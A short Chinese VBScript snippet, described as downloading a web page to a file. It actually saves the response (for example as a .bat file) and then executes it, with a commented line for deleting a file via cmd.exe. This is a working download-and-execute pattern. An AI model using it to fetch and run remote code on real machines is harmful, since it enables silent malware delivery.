简单的从网页上下载保存到文件的vb脚本

'说明：
'这是一个从某一个网站下载内容保存到一个文件，然后执行的vb脚本代码
'其中有两个参数，一个是要保存到的文件的路径，如（C:\a.bat)
'另一个参数是访问的网页的url
fn=wscript.Arguments(1):
set x=CreateObject("Microsoft.XMLHTTP"):
x.Open "GET",wscript.Arguments(0),0:
x.Send():
set m=CreateObject("ADODB.Stream"):
m.Mode=3:
m.Type=1:
m.Open():
m.Write x.ResponseBody:
m.SaveToFile fn,2:
set a=CreateObject("shell.application"):
a.shellexecute fn:
'a.shellexecute "cmd.exe","/c del C:\sa.txt"